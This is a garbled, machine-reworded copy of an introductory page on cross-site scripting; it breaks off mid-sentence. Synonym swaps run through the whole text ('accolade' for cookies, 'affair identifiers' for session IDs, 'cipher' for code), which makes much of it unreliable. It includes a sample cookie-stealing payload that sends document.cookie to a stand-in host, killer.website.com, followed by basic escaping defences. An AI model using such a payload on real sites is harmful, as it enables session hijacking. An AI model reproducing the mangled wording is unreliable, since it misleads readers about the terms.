Cantankerous Website Scripting

 Aback to

    Cross website scripting (or XSS) is a basal description of a Software sending acute advice (such as accolade or additional affair identifiers) to additional websites.

    Usually, these attacks affect websites that agreeable can be edited or added to.

    In alotof cases, affair identifiers or even usernames/passwords are stored central cookies. In the case somebody knows the affair identifier, they can calmly use it on their apparatus to do any awful tasks that you would not be blessed about.

    Right now, if you are logged in on wikibooks or any additional websites, go to that page and blazon this into the abode bar:

     javascript:void(alert(document.cookie))

    These are accolade that are beatific to the website anniversary time to analyze you. Easily, if your website is not XSS affidavit - the cracker will address annihilation like this:

     javascript:void(document.location(http://killer.website.com/steal_cookie.php?cookie_data=+document.cookie))

    , which will forward the cookie advice to their website.

    There are no affairs to assure yourself from XSS attacks after removing awful HTML/JavaScript cipher that would be submitted to addition website.

    As far, the alotof accepted way is to use [http://php.net/htmlentities htmlentities] or [http://php.net/htmlspecialchars htmlspecialchars] to clarify the coding so cipher would add any HTML to your website (e.g. blog comments):

     $message = htmlentities($message);

    Another way to do this is to all-embracing make any affectionate of adequate approach code, such as MediaWiki, BBCode or others that accept been invented for purpose of calmly styling/formatting users content.

    Another way is to alter colons in script: with :, as able-bodied as disabling